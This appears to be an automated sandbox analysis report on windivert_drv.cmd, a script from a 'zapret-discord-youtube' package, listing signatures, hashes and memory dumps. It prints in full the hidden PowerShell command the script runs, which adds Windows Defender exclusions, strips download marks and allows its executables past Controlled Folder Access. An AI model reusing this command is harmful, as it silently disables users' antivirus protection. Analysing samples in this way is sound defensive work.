Analysis

  • max time kernel
    149s
  • max time network
    136s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/10/2026, 12:11

General

  • Target
    zapret-discord-youtube-1.9.9c/bin/windivert_drv.cmd
  • Size 1KB
  • Sample261030-pcvrbsbz21
  • SHA256 9666f4fd350b4a9629618e61b02bdca4e63ecbe560b1d5482c427b0779470b16
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\windivert_drv.cmd"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4372
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$e=$ErrorActionPreference; $ErrorActionPreference='SilentlyContinue'; $bin='C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\'; $pkg=(Split-Path -Parent $bin.TrimEnd('\'))+'\'; $wd=$bin+'.wd\'; foreach($p in @($pkg,$bin,$wd)){ if($p -and (Test-Path -LiteralPath $p)){ Add-MpPreference -ExclusionPath $p } }; $files=@($bin+'WinDivert64.sys',$bin+'WinDivert.dll',$bin+'winws.exe',$bin+'cygwin1.dll',$wd+'wdvcache.exe'); foreach($f in $files){ if(Test-Path -LiteralPath $f){ Add-MpPreference -ExclusionPath $f; Unblock-File -LiteralPath $f; Remove-Item -LiteralPath ($f+':Zone.Identifier') -Force; if($f -match '\.exe$'){ Add-MpPreference -ControlledFolderAccessAllowedApplications $f } } }; Get-ChildItem -LiteralPath $bin -File -ErrorAction SilentlyContinue | Where-Object { $_.Extension -match '\.(exe|dll|sys|cmd)$' } | ForEach-Object { Unblock-File -LiteralPath $_.FullName; Remove-Item -LiteralPath ($_.FullName+':Zone.Identifier') -Force }; if(Test-Path -LiteralPath $wd){ Get-ChildItem -LiteralPath $wd -File -ErrorAction SilentlyContinue | Where-Object { $_.Extension -match '\.(exe|dll|sys)$' } | ForEach-Object { Unblock-File -LiteralPath $_.FullName; Remove-Item -LiteralPath ($_.FullName+':Zone.Identifier') -Force } }; Add-MpPreference -ExclusionProcess 'winws.exe'; Add-MpPreference -ExclusionProcess 'wdvcache.exe'; $ErrorActionPreference=$e"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1056

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_flpobu0d.4mh.psm1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_flpobu0d.4mh.psm1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1056-14-0x000001EEEDCD0000-0x000001EEEDD82000-memory.dmp

        memory/1056-4-0x000001EEED730000-0x000001EEED752000-memory.dmp

        memory/1056-5-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/1056-6-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/1056-7-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/1056-8-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/1056-9-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/1056-10-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/1056-0-0x00007FFEFB8BF000-0x00007FFEFB8C0000-memory.dmp

        memory/1056-13-0x000001EEED7F0000-0x000001EEED80E000-memory.dmp

        memory/1056-16-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/1056-15-0x000001EEED810000-0x000001EEED81A000-memory.dmp

        memory/1056-1-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/1056-17-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/1056-18-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/1056-19-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/1056-20-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/1056-21-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/1056-22-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/1056-24-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp